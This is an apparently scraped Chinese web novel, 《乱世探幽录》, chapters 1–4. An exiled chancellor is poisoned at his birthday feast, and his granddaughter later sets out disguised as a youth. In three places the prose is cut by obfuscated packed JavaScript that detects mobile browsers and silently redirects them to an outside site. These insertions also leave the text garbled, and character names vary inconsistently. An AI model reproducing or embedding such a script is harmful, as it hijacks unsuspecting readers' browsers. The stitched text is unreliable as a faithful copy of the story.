《乱世探幽录》 1. 初遇岭南 申定三年，七月，初九。 梅州，东山寺，清沙书院内。 一老者正襟危坐，坐下听者逾百，老者捻须道：“道生一，一生二，二生三，三生万物。万物同根同源，而理为万物之本……” 此时，一头发花白、衣着平常的老头，正朝门缝里暗自窥察，一持刀衙役走上前来耳语几句，两人便移步一侧。 “大人，如小姐之言，果真有人在井中投毒。” “可查到何人?” “不曾查到，寺中和尚倒是不多，但这书院的儒生却有三百。” “好一个一石二鸟。老夫若饮了此水，一命呜呼甚好。若没死，这聚众讲学不成，戕害学子的名声反要传到京里，他阎相又可大做文章。”吴淙言深深地叹了口气，又转身道：“此事先不声张，速去盘查可疑之人。每日进出之人都要翻看包裹衣袋，还有，将那几口井封起来。” “是。大人，还有一事。上月您婉拒了知州刘大人邀宴，这三日后便是您的寿辰，他扬言届时一定要来府中贺祝，您看——”，衙役为难道。 吴淙言沉默半晌道：“那便会会吧。” “是……”衙役匆匆下。 三日后，县衙内院。 三两家仆趔趔趄趄地将一箱贺礼从前厅搬到后院。 “何必呢？过几日还得还回去。”一个小厮嘟囔。 “你懂啥。老爷在此又建功业，此番巴结，日后定有麻烦。”年长仆从小声说。 小厮听完仍动作不疾不徐地。 “天儿太热了，手脚麻利点儿搬完得了。”年长者催促道。 正值盛夏，日头正好。午后烈日透过轻纱般的云层，洒在行人稀少的市集上。狭长的街道尽头，一家古色古香的茶馆里却人声鼎沸。 茶楼小二领着一少年公子匆匆上楼，挑了个单间坐下。这公子生得雪肤明眸、鼻若悬胆，分明是青衫折扇,却体态婀娜,步步生香。一旁的丫鬟约摸十一二岁的模样，鼻腻鹅脂，娇小玲珑。 “公子，没想到这白日里还有如此多听客。”公子身旁，粉衫丫鬟扫视了一下四周，旋即取下墙上的蒲扇扇了起来。 “天儿太热了，来这消暑的客人一天比一天多，两位公子还是老规矩？”小二也抓起肩头的长巾擦了擦汗。 “嗯，糕点就不用了，沏壶银毫。”公子一边说着一边站起身来，伸手要推桌边的窗。 “我来我来！”小二连忙推开窗，讪讪地笑了笑便匆匆下楼。 只听“嘭”地一声，惊堂木与那桌面碰撞发出脆响，茶楼里顿时鸦雀无声，原本正聊天闲谈的众人都纷纷止住了嘴，齐刷刷望向那男子。 只见他着一袭玄色长袍，肩上还背着一个褡裢，在长桌前一坐下边开口道：“五年前，蒙古中路军在孛儿只斤的统领下，突破了我军的淮西防线，陈兵于长江北岸，与我军隔江对峙。此时，统领的军帐外响起了一阵马蹄声。一个小兵跃马入帐，为孛儿只斤带来了一个致命的消息。”突然，说书先生目光深沉，话锋一转，“你们猜怎么着？”茶馆里的气氛格外安静。 “阿日哥大汗——死了！”说书先生双目圆瞪,下面的人却满脸茫然。 “阿日哥是谁？”客座中一小娃娃问。 “阿日哥大汗是孛儿只斤的哥哥。他们的汗位相传是兄终弟及。孛儿只斤此时远离漠北，若不尽早班师回蒙，他的兄弟额尔敦就会在蒙古本部积极行动，大汗之位必会落于他人之手。而事实上额尔敦也确实获得了诸王贵族的支持，就连阿日哥的两个儿子也支持他。” “那孛儿只斤撤离了吗？”有醉醺醺的听客扯开嗓门高声笑问道。 先生幽幽地叹了一声“没有。” 整个茶馆又陷入了一片寂静，上楼送茶的店小二也不禁放轻了脚步。 “孛儿只斤听凭众将士七嘴八舌的劝谏，一言不发地盯着地图，抬眸就是两个字‘南下。’。 “公子，您的茶。” 说书先生继续说道：“当时蒙古军马上就要渡过长江，包围鄂州了，咱们圣上忧心不已。转头问左边的国舅爷可有妙计，也就是如今那个一人之下，万人之上的阎丞相。”恰好此时有一长队衙役从茶楼门口经过，众人神色皆古怪起来，一胆小听客甚至夺门而出。 “珠儿，快跟上去。”少年公子悄声道，小书童立马会意，轻步下楼。 “诸位可别谈虎色变，若不是这位丞相，咱们的吴县令也不会天降梅州，为咱修堤防洪，安民造福呢。”说罢此话，说书先生意味深长地啜了口茶。 众听客开始窃窃私语起来，“那是咱知县治理有方吧。”“诶，听不出他话里有话？想掉脑袋？”“这吴县令被贬至此还有如此功绩，可会久留？““难说。”“真真是国之不幸，咱之大幸。” 一小二趁隙走到说书先生的长桌前，恭恭敬敬地倒了一壶茶。他端起茶盏轻抿了一口又见众人没有静下来的意思，随即伸手抓起那块惊堂木，又是重重一敲桌面，朗声道：“那阎丞相呀对着圣上拜了一拜，‘回禀陛下，臣以为此时形势危急，当迁都别处。’皇上又转头问右旁的前丞相‘吴爱卿以为呢？’吴大人回禀‘臣恐此时迁都扰乱民心，不利战事。’。皇上继续追问‘那何以破局？’吴大人说‘当前兵力薄弱，应组织义勇军，再派良将节制江西两广人马援助鄂州’。”大家可知最后派去的大将是何人么？” “阎丞相？”人群中有听客试探地问道。 众人又交头接耳起来。 说书先生慢悠悠地将右手折扇一开,整个茶馆瞬间安静了下来。 “这出人意料的是啊这阎相在后来的战斗中，竟展现出了一定的韬略。虽然蒙军骁勇善战，势如破竹，但不知为何那孛儿只斤在酣战之际却节节败退，突然撤离中原。圣上喜出望外，加封阎甫申为少师卫国公，右丞相兼枢密使…… 这时一小厮走到二楼少年公子旁附耳轻语：“小姐，夫人找你。” 少年公子端起茶盏一饮而尽，随即起身下楼，主仆二人眨眼功夫便消失在了集市中。 道路旁树影婆娑，此起彼伏的蝉鸣声似乎没有往日高亢。 “小姐，方才说书先生讲的可是老爷？”小厮道。 此少年不是别人，她是吴知县的孙女，也就是刚刚众人口的知县吴淙言。 “嗯。”吴昭音应了一声，无边回忆便涌入了脑中。当年的阎甫申表面上欣然接旨，实际上心里恨毒了祖父。培植党羽，排除异己，营私报复忠臣，借变法残害良将，即使吴淙言拖着年近古稀的病体亲赴前线，也无法消磨阎甫申的恨意。 四年前，在阎甫申的屡尽谗言之下，吴淙言被罢相，贬值到梅州，于是朝堂上便只有独相阎甫申。 梅州地处南粤，荒凉颓圮、烟瘴湿重，多为罪犯流放之地。 那日，吴淙言带着三两家眷，几个家仆乘两叶小舟南下。艳阳高照，酷热难当，岸上干活的农人，靠在树下纳凉小憩，他们见船上一浑身是汗，猛扇扇子的狼狈老人，纷纷议论猜测。凭谁也猜不到这个清瘦的老头原是状元宰相，官至一品。 初来的第一年，吴淙言独子吴涵之便因水土不服而染病身亡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763185|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来祭拜过的人大都记得，在那个风雪漫卷，潮湿阴冷的冬天，一个小姑娘坐在灵堂门槛上大哭不止，任谁也哄不好。那个小姑娘就是九岁的吴昭音。 后来，宾客中有一少年，径自蹲下身子用自己的衣袖替小姑娘擦了擦眼泪。少年低垂的侧脸有些冷硬，蝶翼般的睫毛上落着晶莹的雪花，修长的指节因清寒的天气而冻得通红。女孩惊得瞪大了眼睛看着眼前的小公子，这才渐渐止住了哭声。 以前每每吴昭音撒泼啼哭，家中旁人都忍住不理，只有父亲最为心软，无论身着常服或是官服，都以衣袖为她轻轻地拭泪。男孩的这一动作让小昭音一时恍惚起来。 男孩望着小昭音冻得通红的双颊，轻声道：“哭有何用呢？” 小昭音哽咽回言：“难道哥哥从来不哭吗？” 不待小公子回答，他便被其长辈拉走。留下林雪音在原地愣神。 小昭音转过身子，看着祖父垂着头，一言不发，鬓边的头发好似一夜间尽白。再望望棺木边泣不成声的娘亲，更是神情恍惚。旁边摇床里尚在襁褓的弟弟还在呓呓自语，小昭音一霎时感到了责任之重，肩上似有千钧之力，压得她喘不过气来。 又过了几个月，吴昭音才知，那日替她抹泪的少年名叫萧彦清，自幼父母双亡，是街坊马夫人的外甥，比她正好年长一岁。 开春之时，小昭音被母亲送去了私塾，两个少年同窗共砚，结伴而归。彼时的岭南苦地虽蛮风瘴雨，但命运还是保留了她少年时光里最后的美好与温存。 仲夏黄昏，大桑树下满是掉落的葚果…… “萧哥哥，你走太快了。我想吃桑葚。”小昭音停下脚步，跺了跺脚，语气却可怜巴巴道。 “好。我来摘，你在下面接着。”说罢，小彦清便放下肩头的书袋，揽起前裾扎到腰后，一步一步向树顶攀爬起来，一边爬一边单手采撷。 不一会儿功夫，吴昭音便将桑葚装满了一匣子，“够了够了，哥哥快下来。” “音音让开，我要跳了。”小彦清轻轻一跃。 小昭音抓着竹匣的桑葚，一边往嘴里塞，一边说道：“萧哥哥，你以后会做大官吗？” “知屋漏者在宇下，知政失者在草野。做官不在大小，为民即可。”少年眼神坚毅地看着远方。 “女子能不能做官呢？”小昭音侧过头，一本正经地问道。 “宫中好像有内尚书。啊呀！”少年盯着少女的嘴巴惊讶道。 原来是小昭音吃了太多桑葚，唇齿都黢黑。再一低头，裙摆上也是一片黛紫色。 “唉，算了吧。如今这男子做官都难，何况女子。”吴昭音边叹气边吃。 “音音何必做官，等我长大了，定不会让你受委屈。”说完宠溺地为其擦了擦嘴。“可别再吃了，明儿上学，牙还黑着哩。” 少女听完莞尔一笑，拾起几颗桑葚就要往少年嘴里塞，少年转身就跑，少女嬉笑着追了上来…… 星霜荏苒，居诸不息。不过几年光阴，邻家的伙伴们因父辈们官位的迁擢，都相继搬离，苏彦清是最后一个离开的，被在京做官的舅父接走了。 临走前，吴昭音追赶着马车抛给苏彦清一个绣囊。上面绣了一对鹣鹣，其中一只还因为时间赶不及而缺了一爪。 一别数载，上京的苏彦清发愤苦读,每到夜间昏怠时,便学前宋名臣范文正以水沃面，终成国子监里最小的太学生。 而身在岭南的吴昭音，却每日因功课而苦恼，但使不背《女诫》《家范》之类，琴棋书画、女红看诊倒是样样通晓。 2. 风雨之夜 从茶馆到县衙不足三里，吴昭音刚一回府，母亲安排好的更衣侍女便已等候多时。 等丫鬟一走，吴昭音就偷偷从二楼窗户上一跃而下，精准地落在了一旁的古树上。日光照在她紫色的衣裙上，让她本来就白皙的皮肤儿显得更加透亮，而眉目更似是用墨水画出来的一般干净。 夕阳西下，薄入西山的残阳，极尽地敛着光，像濒死垂危的凤凰。 远方逆光的群山如同白宣纸上晕开的墨，轮廓分明却又被沙雾遮得模糊不清。 吴昭音躺在树枝上，将手上的蒲扇盖在脸上，透过缝隙望着空中茂盛浓翠，密密耸立的青竹，便想起几年前与玩伴们一起躺在席子上小憩的夏日。每到黄昏街头便传来一阵阵的南箫乡曲，大家一边吃着冰荔枝，一边仰望着宅院后面丈把高的笛竹，风吹来的时候，细长的竹梢犹如龙须一般在空中飘摇。 不一会儿功夫，丫鬟珠儿来树下传话：“小姐为何还在此处？老爷的寿宴要开始了。”“来了来了。”吴昭音从树上翻身下来，心下想着祖父清廉，寿宴从不请外客，如今倒是因那柳汝成破了例。 眼见四下无人，吴昭音问小书童：“珠儿，方才可见到什么了?” 珠儿疑惑道：“那书生确实古怪。衙役一见他就给了赏钱。”。 “银两？” “他颠了颠，又打开数了数。真是蹊跷，小姐怀疑他投毒，可他居然和衙门往来。”小书童的话似是点醒了吴昭音，吴昭音随即叫上一个衙役问道；“今日衙役大哥们可有经过茶楼。” 衙役回道：“回小姐，今日是沐日，老爷吩咐过，只留几人在府中照应即可。”见吴昭音一脸疑惑，又忙道；“不过，今日赴宴的刘知州倒是带了一队人马。” “人在何处？” “老爷防着呢，只让刘大人进府了。” “好。”吴昭音笑笑道，垂眸转身之际撞上了吴母。 吴母见吴昭音神色不安，便再三追问。吴昭音索性将所见所查和盘托出，并坦言心中困惑。母亲这才告知，这柳汝成在京时便是阎甫申心腹，如今恐是担心祖父被再次入朝，因而多加谋害。 母女谈话间，隐隐约约听到吴淙言与一男子在后花园的闲谈之声。 透过假山石缝，吴昭音见此人身高八尺，双目狡黠，薄唇细齿。从官服与帽顶的色泽来看，可能就是柳汝成。 “吴大人别来无恙！晚生祝您松柏长春，寿同南山。” “唉，今晚，怕是要雷风大作咯。”吴淙言自顾地叹息一声。 “哦？大人何出此言？晚生见这晚霞正好，今夜该是朗月吧。”柳汝成赔笑道。 “那就要看刘大人了。”吴淙言转身望着柳汝成，眼里似笑非笑。 “哦？晚生不明。”柳汝成垂目道。 “哈哈哈哈。”吴淙言朗笑着朝前走，柳汝成大步跟着，吴昭音也紧随其后。 穿过后院长廊，西苑厅堂内已是灯火通明，六七月紫荆花正红,厅中仅有的一张紫檀珠儿纹马蹄桌上摆着紫荆花杯，外罩青缎销金桌帏。桌上还只是些龙眼蜜橘、带骨鲍螺、糖缠簇盘之类的看菜。吴昭音心想自己还是来早了，但又放心不下，便假意去偏厅转了转。 透过屏风，吴昭音隐隐约约看到祖父将此人引入了内堂。 此时，三两小厮正端着宝坻银鱼、红烧乳鸽、酒酿荔枝等从偏厅旁走过。 “慢着！”吴昭音走了过来，“都试过了吗？” “回小姐，试过了。”小厮回道。吴昭音含笑点头，小厮们方才离开。 “音音过来——”吴淙言隔着玄关大声的唤着。 “来了——”吴昭音迈出偏厅，从正门走了进来。 众人远见一少女着锦绣双蝶立水裙，上头一件窄肩莲青紫绣衫，举足间淡淡地萦绕着一股贵气。待到走近，才发觉只是一个十一二岁的小姑娘，眉似新月，朱唇皓齿，烛光在她清澈而带笑的眸子里闪烁如星辰。 “此乃吴家小千金吧，多年不见，竟出落得如此清秀。”柳汝成恭维道。 “是啊，颇有林下之风”其他宾客也啧啧叹道。 “这小妮子豆蔻年华不知愁苦，老夫也好生羡慕。”吴淙言摸摸吴昭音的小辫儿。 “谁说孙女没有烦恼了？”吴昭音一甩小辫儿。 “何事还能恼了这丫头？” “莫不是为了哪家的小郎君？”旁边一碎嘴女客嬉笑道。 “不知哪家的贵公子可入咱们小姐的青眼呢？” 吴昭音倏地脸色通红，嘟嘴道“爷爷，你瞧他们。” 吴淙言本不善于应对此类场面，佯笑着摇摇头。 吴昭音羞红了脸，闷哼一声就夺门而逃，引得众人嬉笑。 过了约莫一炷香的时间，外面的天空突然乌云密布，天际响起惊雷隆隆，众宾客见状纷纷散去，仅剩柳汝成。 “这雨还是下了。”吴淙言望着门外的雨怅然失神。 “此酒敬您当年提携之恩。”柳汝成端起酒杯一饮而尽。 “锥处囊中，岂有久藏之理，老夫——”吴淙言边说边端起杯盏，却双手无力，眼前发黑，怀前筷子也掀倒在地，一旁的仆从皆乱作一团。 吴家母女瞬觉不妙，神色紧张地冲将出来。只见吴淙言肝胆欲碎，痛苦万分地匍匐在桌子上。众人想要上前去扶，却被吴淙言摆手拦住。 柳汝成忙道：“先生莫不是中毒了？学生这便派人去请大夫。”说完正欲转身。 吴昭音赶忙拽住柳汝成，又朝吴母使了使眼色。吴母转身离席。柳汝成见脱身不得，随即悠然坐下。 吴昭音摸着吴淙言的脉，神色一沉，旋即拔出鬓边银簪，探入酒中，银针却无丝毫变化。 柳汝成继续殷勤道：“那便在菜中了！”说罢挑了几样菜尝了尝，还玩味地砸吧嘴。 吴昭音嘴里喃喃念道：“难道是茶水？” 吴淙言虚弱地问：“管家可在？”一旁的管家一边抹泪一边站了出来，“去将我今日抓的草乌拿来。”“是。” 柳汝成闻言目光闪躲，再次声称要去请大夫，被吴昭音一把摁下。 不一会，管家捧着草乌头快步走上前来，“老爷，全在这了。” 吴昭音松开手，拿起一片闻了闻，脸色大变“这不是今日抓的草乌？”听闻此言，众人惊呼，老管家更是大惊失色，“小姐，今日药材，你是过目了的，”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763186|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴昭音在药包里又翻了翻，“此草乌未经炮制，想必有人掉包了。”。 这时一大夫随着吴母进入内堂，一番诊脉后，大夫谨慎道：“大人面色苍白，双足浮肿，已至双臂，内浸心脾，恐怕中毒不止一日了。” 吴昭音急切道：“此毒可还能解？”大夫一脸惶然地轻轻摇了摇头。 吴昭音红着眼睛大喊道：“不，一定还有办法的。”只听咻地一声，吴昭音从一旁的翘头案上拔出长剑，直指柳汝成。 忽然，两队带刀侍卫从前厅左右两侧包抄过来，将吴府内堂团团围住。 吴昭音怒目圆睁，疾言厉声道，“我知道是你。” 柳汝成没有争辩，悠悠然地举起酒杯品呷道：“从东山寺到县衙府，这毒，终于到了大人腹中。你若问我究竟是哪种毒，本官也不知道是哪个起了作用啊，啊？哈哈哈哈！” “砰——”吴昭音奋力将酒杯打落，指着柳汝成的剑又贴近了三分。 柳汝成神情显出一丝惊讶，但旋即淡定如初。 吴淙言冷哼一声，哂笑道：“可笑他权倾朝野——却不愿放过我这——土埋半截的——”。不待说完，刺痛感就从心脏蔓延开来，吴淙言下意识地捂住胸口，接着整个人紧贴着椅背。许久从嘴里挤出一个字“让他滚！”。 吴昭音见状连忙去扶，但握剑的手依然没有松半分。 “今天我若出不了此门，恐怕有人要这整个吴府陪葬。”柳汝成气定神闲，已然不再惺惺作态。 “放他走，他只是条狗。” “爷爷！”见吴淙言心意已决，吴昭音不甘心地放下剑，柳汝成的侍从立马护其离开退。 吴淙言竭尽力气举起手，在旁的吴昭音迅速蹲下来，将祖父的手紧紧握在手里。“爷爷，都怪我，是我没能救下你。” “傻孩子，那人要我死，你又能救我几次呢？”说罢，他又转头用他残存的力气轻唤了一声“贤儿过来。” 众人把一个蹒跚学步的小公子推到了吴淙言跟前，吴淙言摸摸他的头哽咽道“老夫将逝，虽早已料到，但仍痛惜你们年少。音音切记，往后，莫因爷爷而至吴府于险境，更莫因我死而伤憾终生,咳咳……拿纸笔来！” 仆人拿来纸笔，将桌上收拾一番，吴昭音垂泪磨墨，吴淙言艰难落笔： “可怜七十翁，不敢忘忧国。 云飞何处去，水流何处止。 悠悠他乡魂，伶仃未可知。 朝廷仁至在？归骨早还家。” 吴淙言在恸哭声中颤颤巍巍地写完最后一笔，忽觉喉头一阵翻涌，一口腥甜的血从嘴角溢了出来。 “老爷！”众人惊呼不已。 “爷爷——您放心，音音听话。”吴昭音不愿祖父担忧，故而佯装镇定，右手白皙的指节也因紧握着墨锭而泛起了青筋。 “好孩子，若他日你与萧家少年果真结为善缘，一——定要去临安老宅看看，那里——”吴淙言的声音越来越低，直到缓缓地闭上了双眼。 “爷爷——！”“老爷——!” 一声声悲号划破了南粤一方的苍穹。这位直言敢谏、不屈不挠的忠贤良臣端坐堂中，与世长辞，结束了他艰难坎坷的一生。 3. 故人之子 不出所料，吴府的家丁赶到城南仵作家时，已经人去楼空。 当下天气酷暑，眼见吴淙言的尸身即将腐烂，吴府只得将吴淙言迅速入殓下葬。梅州百姓闻此噩耗，无不黯然落泪。 天光还未大亮，雾气茫茫。白绸飘扬的孝幛在山坡高处瑟瑟抖动，远远望去，皆披缟素的送丧队伍如同白雪一般铺满了整个山头。 山脚下，一双微眯的眸子里透出阵阵凉意。一旁的人作揖道：“依大人的吩咐，在下已知会方圆百里的仵作。”“甚好，继续盯着”男人拂袖离去。 后来，据说圣上因念旧情便留下了吴家宅子。但吴大小姐整日以泪洗面，最后乃至双目失明，每每出门总以白纱覆目。一日，她携侍女上街，竟被三两乞丐扯去白纱，露出两颗纯白的眼珠子，吓得看客们落荒而逃。再后来，她也就鲜少出门了。 两年后的一个清晨，吴家院内，一对母女跪坐在荷花池旁烧着纸钱。 “娘。我要走了。”扮作小厮摸样的吴昭音整了整衣领说道。 吴母叹气道：“娘你知你心意已决，定然难以改变。”说完将一封信交给吴昭音，“谏议大夫方大人曾是你祖父的学生，也是我的表兄。你将此信交于他。”吴母摸摸吴昭音的头继续道：“他若有意，定能为你指条明路，他若无法，也会送你回来。” “谢谢娘。”吴昭音抱了抱母亲。“娘，您多保重。”吴昭音忍着泪站起来，背过身去。 “切莫罔顾自己的性命。娘要你活着。”吴昭音没有出声，头也不回的从后门离开。 许是蒙眼装瞎久了，连听感也变得灵敏起来，吴昭音走了不到五里路便发觉有人跟踪。为了甩开他们，吴昭音突然改走水路，刚要上船，身后一个同样打扮的小少年边跑边喘地叫唤“兄长留步——”不用回头，吴昭音也知道是自己的丫鬟珠儿。 吴昭音虽然嘴上嗔怪丫鬟，斥责其不该追随，但还是带着珠儿上了船。 “哥哥，陪你演戏也就罢了，如今连主角——” “诶——”吴昭音连忙打断了珠儿的话。珠儿拿眼睛瞟了一眼船夫，只见船夫一便划着桨一边笑盈盈地说“你们兄弟俩是离家出走的？” “啊对！”珠儿接话道。“我们被逼婚了，出来避避风头，对吧哥哥。” 吴昭音白了珠儿一眼，佯笑道“正是。” 船夫偏头看着离岸的草丛故意扬声道：“你们该是发觉有人盯上了吧。” “啊!”珠儿惊叫道。 吴昭音亦扬声道：“敢问我该如何脱身呢？” 老船夫朗声道：“上岸后找到城里最西头的那家客栈，他们定是找不着。”说完又压低声音说：“上岸后找到东市的一家“缘来客栈”，附上双倍的银两，掌柜的就会带你从暗门离开。” “呵呵，老船夫，那两个黑衣人怕不是跟你们一伙儿的吧。”珠儿忿忿地说道。 “你们亦可住在别处，权当老夫没讲。” “小——哥哥他——” “珠儿不得无礼。那就多谢船夫了。”吴昭音作了作揖，转身瞥了一下珠儿，便躬身坐进了船舱。“珠儿，还不进来。” “噢。”珠儿不情不愿地也进了船舱。这一路上，两主仆再无言语。 等到她们靠岸下船时，已过了晌午。主仆二人沿着河岸走了许久也不见人家。 珠儿心里慌张，不停地叨念着二人要死在这荒山野岭了。 “倘若那俩是我娘派来的，你可还怕？” 珠儿不由皱眉道：“夫人？——对哦，不然咱根本出不了城。”接着珠儿又好奇既是夫人派来送他们进京认亲的，为何又急于甩开他们。吴昭音应道：“此番进京必然凶险波折，倘若这两人事事禀报，想必即便到了功成之日，母亲也早已心力交瘁了。”珠儿点点头。 吴家主仆二人顺着弯弯曲曲的河道走了许久才到闹市。走到十字街头处遇一小乞丐讨要财食。只见他身形瘦削，一脸稚气，右臂似是断掉，左腿胫骨处也有青紫色淤痕。听他说他是逃难至此，先是摔断了胳膊，后又摔伤了腿。 吴昭音从怀里掏出一把铜钱，小乞丐连忙接上，不待他收手，吴昭音又在小乞丐手上数了数，拿走了一半数目。 小乞丐惊讶得微张着干裂的嘴唇，心中正暗想莫不是被发现了。吴昭音悠悠道：“养好身体，干点正经事。”说完正欲大步离开。 小乞丐像突然清醒了般迅速拦住吴昭音，问她如何识破。他当然不知，眼前这位女子整日闭门炼药，甚至以身试毒，识破这区区伪伤又有何难？ 见对方不依不饶，吴昭音便挑明乞丐的伤是用烧制的榉木树皮和巴豆汁的伪造的。伤处虽淤青泛紫但眼观并不肿硬，色泽单调，边界清晰。 小乞丐暗想莫不是同道中人，正想问却被珠儿斥责驱赶。 “哥哥看你模样确实可怜才赏了你，你倒蹬鼻子上脸了。闪开，天快黑了，别挡着我们赶路。”珠儿故作凶狠状。 小乞丐连忙让开道，主仆二人一前一后走着。没走几步还真遇上了那个缘来客栈，客栈旁是一家面馆。吴昭音径直而入，找了个角落坐了下来。 珠儿皱着眉头，心想莫非真的要住这里，这时面馆小二走过来热情的招呼二人进店。 吴昭音点了两碗油泼面，但指明要过半盏茶的功夫再送过来。接着又吩咐珠儿去附近去打听一下。过了好半天，面都上了珠儿才回，有意思的是那个小乞丐也跟着一起，却在门口处不敢进来。 珠儿小声嘀咕了一句，吴昭音便将小乞丐唤了进来，顺便又点了一碗面。 “说吧，小兄弟为何跟着我们？”吴昭音浅啜了口茶。 “我原想求你们收下我，讨口饭吃。但——”珠儿立马打断“笑话，咱自个儿都泥菩萨过江了，再说你那手无缚鸡之力的样许是连我都打不过还想混饭吃。嘁。” 小乞丐向前倾了倾身子低声说“但我发现你们是女子，而且有人跟踪你们。”主仆二人心下一紧，珠儿扫视着四周。 “谁说我们是女子了？”珠儿佯装镇定，心想莫非是刚刚出去露馅了。 说话间，小二端上了三碗面，珠儿随手付过钱，主仆二人随即小心翼翼地吃了起来。 小乞丐一边狼吞虎咽的吸食着，一边说“说出来，两位可别嫌弃。我祖上是干仵作的，你们这身形体量，我多看几眼便知。”听到仵作二字时，主仆二人差点没将面给喷出来。 “仵作？”主仆二人异口同声。 小乞丐神色委屈地拜托二人小声一点，若是被其他人知道了，兴许会被赶出去。见主仆二人没有吱声，连忙解释自己并没有亲自碰过死人。原来两年前，小乞丐一家就从梅州搬到在此地，改贩香纸为生。如今家父去世，家中确实毫无积蓄才出此下策。说完小乞丐就垂下头，小心翼翼地捞着碗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763187|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所剩无几的面。 吴昭音本想安慰小乞丐，却不知如何开口。正思忖间，珠儿忙劝小乞丐不要多想，二人只是讶异而已，并无半点嫌弃之意。吴昭音旋即吩咐小二再添碗面，小乞丐连连婉拒。 吴昭音想到“梅州仵作”，不禁怔住。珠儿似是看出小姐的疑惑，连忙问道可是在城南余家。小乞丐连连点头，并说姓余，名辉，家人唤起阿辉。 吴家主仆二人心下一紧，余晖却心想这小姐姐怎还知他姓氏，难道也是梅州人？吴昭音又小心翼翼地问其是否知道父亲因何离开梅州，阿辉摇头。 余晖喝完最后一口面汤，指着对面的客栈说道；“据说住进去的人，只要给足银两，官府都逮不着，你俩呀今晚住那得了。”吴昭音望向珠儿，珠儿点点头。 “不知公子贵姓？”余晖擦擦嘴。 “口天吴。”珠儿抢话道。 突然，邻桌的面碗掉落在地上，桌旁一食客似疯癫状在空中挥舞着双臂，另一蓝衣食客一边拉扯一边斥骂：“糟了！面里有毒，面里有毒啊，大家快看，我兄弟中毒啦!”。众人见状吓得纷纷往外逃窜，老板急得团团转。 吴昭音皱皱鼻子，端起碗闻了闻，又用银钗试了一下“碗里没毒!” 蓝衣食客厉声道“你说没就没有吗？毛小子一边去。”突然那疯癫之人吐了一口出来，众人避之不及。 余晖上前看了看问：“吃过蘑菇？” “上午确实吃了一些，但又不是什么毒蘑菇，问题一定在面里。”蓝衣食客一脸笃定。 “你怎知不是毒蘑菇？”吴昭音反问道。 “我——” 余晖皱眉道：“我知道了，你们有旧仇？老板你这药效选错了吧。” 老板吓得连连摆手：“大爷明鉴啊！哪个面馆会让客人在自己店里这——这样呀。”说着还模仿了一下。 蓝衣食客眼睛一转，忙道：“我们第一次来，没有恩怨。兴许就是面里不太干净。” “真有意思，一会儿笃定地说面里有毒，一会儿又说兴许不太干净。”珠儿在一旁道。 “不干净？怎么个不干净法能让人癫狂如此呢？何况他也没吃上几口。”吴昭音目光如炬，直勾勾地盯着蓝衣食客，心下想着这八成又是哪个对家派过来的，骗人的技术还没学成就敢出来以命相胁，真是不知深浅。 蓝衣食客支支吾吾道：“我怎么知道。” 余晖检查了一下发疯食客的面色道：“面干不干净不清楚，但你肯定知道他中了何毒？” “放屁！” “嘴巴干净点！”珠儿斥声，吴昭音挥了下手道：“大夫把脉都要三思片刻，如此短的发作时间，你为何一口咬定？莫非这毒是你下的？” 蓝衣食客欲加慌张，“你——你不要血口喷人。” 余晖嗤笑道:“还好你放的不多，不然他现在都该去见阎王了，哪有命在这帮着你污蔑栽赃哟？” “我——” 珠儿朗声道“别在这儿期期艾艾，你你我我了，快带你这好兄弟去医馆瞧瞧吧，不然杀人可要偿命哦。”说完三人便拿起了包裹。 “哼！”蓝衣食客面有不甘地扶着“兄弟”趔趔趄趄地走了出去。“让开让开。”门口的看客对他们指指点点。 “多谢几位客官，这是今天的面钱。”老板随手抓起一把铜板正要还给吴昭音，却已不见三人踪影。 4. 他乡旧梦 从面馆里出来，三人简单作别后，吴家主仆便投宿了这缘来客栈。 说来也古怪，两人刚一进门就听到楼上传来奇怪的琴声。珠儿实在害怕，抓着店小二质问，小二却说那是琴坊的师傅在楼顶制琴。原来掌柜的曾与琴坊师傅打赌输了，便被强租了顶楼。那师傅偶尔在楼上调弦定音，故而时有拨弦之声。 许是累了，吴昭音管不了许多，倒头沉沉睡去，一会儿便入了梦。 黄昏日落，大桑树下…… “萧哥哥，你走太快了。我想吃桑葚。”小昭音可怜巴巴道。 “桑葚有什么好吃的。走，哥哥带你去更好吃的。”说罢，小彦清将昭音带到一个石桌旁，桌子上的瓜果琳琅满目、晶莹剔透，正当吴昭音伸手要去抓时，耳畔传来母亲的呼救声，吴昭音循声望去，只见吴府众人都身穿白色囚衣，颈戴枷项，齐刷刷跪在地上呜呜的哭着。吴昭音见状，正欲飞奔上前，却被身后的力量死死的拽住。吴昭音回头一看，哪里还有彦清哥哥的身影，有的只是柳汝成奸笑着握着银钗向她刺来。 千钧一发之际，耳畔响起了此起彼伏的声音…… 